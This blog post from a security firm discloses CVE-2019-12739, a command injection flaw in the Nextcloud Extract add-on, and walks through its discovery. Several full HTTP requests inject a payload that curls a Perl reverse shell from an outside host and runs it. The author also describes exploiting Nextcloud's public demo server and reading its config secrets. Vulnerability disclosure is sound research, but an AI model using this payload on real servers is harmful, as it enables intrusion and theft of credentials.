June 6, 2019
by Alejandro Parodi
The past month our team started looking at alternatives to Dropbox and Box to share files between our company and our customers. After finding several potential providers, as a Security Consultancy Firm, we asked ourselves if these solutions were really safe. Based on that question, we started a journey that ended in CVE-2019-12739, a Nextcloud RCE vulnerability via the Extract add-on before 1.2.0 started.
A quick overview of the Nextcloud Web Page shows that really big Companies trust in Nextcloud to protect and share their files.
A quick search in ZoomEye also shows around 162.772 servers exposed to the internet that could potentially be affected. By the way, after the Responsible Disclosure Process, Nextcloud estimates that around 2% to %4 of 300.000 Nextcloud Instances could be affected by this issue (maybe more, maybe less).
This information shows us that we found a very critical vulnerability that could expose sensitive information on several servers that in general contain company information.
The cool thing about Nextcloud is that all its components are open source an can be found at https://github.com/nextcloud
We kept our attention on the server project for a few weeks without luck, but learned a lot about the functionality of Nextcloud Internals. After a while we decided to start digging into the Marketplace add-ons.
Nexcloud allows an Admin to install code developed by the company and by 3rd party developers via its own marketplace: https://apps.nextcloud.com
These add-ons can be installed directly through the Nextcloud Instance by an Admin using the Apps menu.
After a successful add-on installation, some new functionalities can be acceded by non-privileged users.
This increases the attack surface for an attacker, due to Nextcloud Owners having to install external components in order to make their instance’s functionality fit the Company’s needs.
The great thing is that all these add-ons are also Open Source!
At this point I started looking through several add-ons thinking of what common functionalities a Nextcloud user would usually add to their instance – Backup add-ons, Image Parser add-ons (thinking along the lines of an ImageTragick vulnerability) and Extracting Compressed Files (because, who in their right mind would upload all their files one by one to a cloud instance?)
Following that approach I found a really interesting add-on called Extract: https://apps.nextcloud.com/apps/extract
This add-on is really useful and I think that a large list of Nextcloud Users use it to upload multiple files or large files to their instances since it supports multiples compression formats.
When the Extract add-on is installed by an Admin in a Nextcloud instance, all users (even non-privileged users) could start using the Extract Here functionality via the Triple Dots Context Menu ( … ).
The vulnerable source code of the add-on ( Extract v1.1.1 ) can be found at https://github.com/PaulLereverend/NextcloudExtract/tree/1.1.1
Digging into the vulnerable add-on source code trying to understand how the application uncompresses all the different file types I found the following code in the file lib/Controller/ExtractionController.php line 133.
I can see clearly how a critical exec() function executes the unrar command passing non-sanitized parameters ( if the php_rar extension is not loaded ). At that point, I thought, if I was able to control $file or $dir parameters I could achieve Remote Code Execution over the server.
I also noticed that the function name extractHereRar was suspiciously similar to the menu functionality accessed by the triple dots menu.
I found a potentially exec() function executed with non-sanitized inputs, also Its almost obvious (due unrar command and function name) that the vulnerable function is going to be triggered when a RAR File is extracted.
At this point, I just needed to check if there was a way to control the $file or $dir parameters, for that I installed Nextcloud locally and installed the Extract App via the App menu.
After that I created a non-privileged user in order to test exploitability as non-admin user:
I logged into my Nextcloud instance as this non-privileged user ( this step is because according to the Nextcloud Security Team this issue could be exploited only by Admin Users ):
Then I upload a sample.rar file to the instance:
I fired up Burp Suite and then I Extracted the file using Extract Here Menu.
The request intercepted by Burp Suite can be seen below:
POST /nextcloud/index.php/apps/extract/ajax/extractRar.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 requesttoken: xI7gM0DlVa6VmN8OB8+NHrGV/sQFFXSiJnDXKzVj51g=:gsiyZQq9M566yoh+aIjjWvXgp7ZHZwz6bAahAEYxlgk= OCS-APIREQUEST: true X-Requested-With: XMLHttpRequest Content-Length: 55 Connection: close Cookie: nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocqaiboks528=817ad05b9648ace1df1af7ef9fb1d0eb; nc_username=non-privs; nc_token=rKSPAz9ODgLxY0ACrXwwX9OAQ4i4TRTz; nc_session_id=817ad05b9648ace1df1af7ef9fb1d0eb; oc_music_volume=50; ocd2fiq9w5ht=a7a6050094d074b1933e760742ca6148; oc_sessionPassphrase=6cR0JaUI2rBcgkB4suOwpBGHYmmerpaO6Qoiw44szgPdehSD2SBQaVaAlyqNk4eQ1FNf8nbPMJ9Wuf5DqKRKiZ46vFDngdI6hdtfmNyK5rNA9iyddsLun9TP12fUKfGp; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; nc_username=non-privs; nc_token=cMgW1Rgs7LPK1kuFBpoBoqjI8wvKSxSo; nc_session_id=4972ea71b8b523a0f67209a28d44c6be; ocjpnb0btmw1=4972ea71b8b523a0f67209a28d44c6be nameOfFile=sample.rar&directory=%2Fmy_folder&external=0
The parameters sent to the server when a RAR File extraction is executed match exactly with the parameters $nameOfFile and $directory passed to the vulnerable function:
As a way to improve the reading and the issue tracking for the reader, you can see the vulnerable code compressed in the following image:
After the function receives the parameters, the condition that evaluates the $external variable (line 82) is not satisfied hitting the first else (line 111), where the variables $file and $dir are created using an insecure concatenation of parameters (line 115 and 116).
Then, the function evaluates if the php_rar extension is loaded (line 117), the condition returns false (because the php_rar extension is not installed) this behavior derives in the execution of the second else (line 132) that triggers the vulnerable exec() function (line 133) that could be manipulated to achieve the Remote Code Execution.
Following the logic of the unrar command executed:
<?php exec("unrar x \"".$file."\" -R \"".$dir."\" -o+",$output,$return);
An attacker can craft the following Payload to download a Reverse Shell into the affected instance and execute it:
sample.rar"|curl http://poseidon.secsignal.org/shell.pl -o /tmp/shell.pl ; sleep 1 ; perl /tmp/shell.pl|"
The request sent to exploit the issue in localhost can be seen below:
POST /nextcloud/index.php/apps/extract/ajax/extractRar.php HTTP/1.1 Host: www.localhost.com Content-Length: 141 Accept: */* requesttoken: BoLyilIeuESaX68FK4TG/f4dIkHNnLmO1x/siwU+1Ps=:Nfi+7ghfjgjvKuJGWMnpuolqSiSF947en0fexHJ1kak= Origin: http://www.localhost.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 OCS-APIREQUEST: true Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,es;q=0.8 Cookie: oc_sessionPassphrase=BWewRcApL9Ojb%2BHeUVbdo%2BGWhUe03tbQ%2BFsNkQNybTi2VoNrQAGd6tiGbecuO92yjmn%2F5ztd3ARu6SkJAPiMReRq2HyY4fA9V5GkNEr95fdycaotrxpOi%2FmvEtDHnH4o; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; ocqaiboks528=62e0769fa91b6f539230a6745b837def; nc_username=admin; nc_token=2cDydSNIMeEf%2BxqdG2HhRgrNK6ffxzTT; nc_session_id=62e0769fa91b6f539230a6745b837def; ocd2fiq9w5ht=42db37849b55a90f2b760b5204d863f4; oc_sessionPassphrase=VCR58EuE0tgBsJHFuYkM7GxPFlCID2pTe0Ir8zSX9pz2OuBWGxoi3KXcNU2nvR6kLdWMZ43mDL%2FC9ZWccYocYbzkAjsSKdfjp7r7niwxVle3s5VEytPyzLO99cbqYLp6; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true Connection: close nameOfFile=sample.rar"|curl http://attacker.com/shell.pl -o /tmp/shell.pl ; sleep 1 ; perl /tmp/shell.pl|"&directory=%2F&external=0
After successful execution of the above request my listener server receives the Reverse Shell connection:
To create a great PoC I decide to exploit the vulnerability in a demo instance owned by Nextclod, this can be done via https://demo.nextcloud.com/
I installed the Extract add-on ( v1.1.1 ) in the demo instance using the internal App Menu:
Then I started Burp Suite, uploaded the sample.rar file and extracted it:
The request modified to exploit the issue can be seen below:
POST /lun0shai/index.php/apps/extract/ajax/extractRar.php HTTP/1.1 Host: demo.nextcloud.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 requesttoken: v+/28PW5/gilVA9we7iR7yrAYLjQCiYpfyx4e+jIdPU=:24ODl5qN0WLLN14xF+vgrEC0EM/ifB55OxU1SIe+LcE= OCS-APIREQUEST: true X-Requested-With: XMLHttpRequest Content-Length: 98 Connection: close Cookie: oco9fwvj7vid=aashsh75p508m9qk0tdq0ahk8v; oc_sessionPassphrase=XmIYyFzOLH1JtcvmdyZ6JbO67Sh1lbdC6UlHe0FkyVXeu5e2gA%2FOloJaUrRkXAb8sDLgF2pQYpUh1NlHeS8rpppQZakBiTH3K9%2FwWAytej%2FCTkV9%2FurYyRaMVQWLbAyu; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; nc_username=admin; nc_token=eGciTpRb4Bu7DpG2ohUjUWhAd%2BjQGRbb; nc_session_id=aashsh75p508m9qk0tdq0ahk8v nameOfFile=sample.rar"|curl http://188.8.131.52/shell.pl -o /tmp/shell.pl ; sleep 1 ; perl /tmp/shell.pl|""&directory=&external=0
After a few seconds my listener server received the Reverse Shell ( yep, directly from the Nextcloud Demo Instance! )
To add more impact I read the Nextcloud config/config.php file where all the sensitive keys are stored:
The issue was reported to Nextcloud via its Bug Bounty program in HackerOne: https://hackerone.com/nextcloud, and although they decided that this Remote Code Execution vulnerability was not applicable to their program, it’s still a good CVE-ID and a great post for our blog!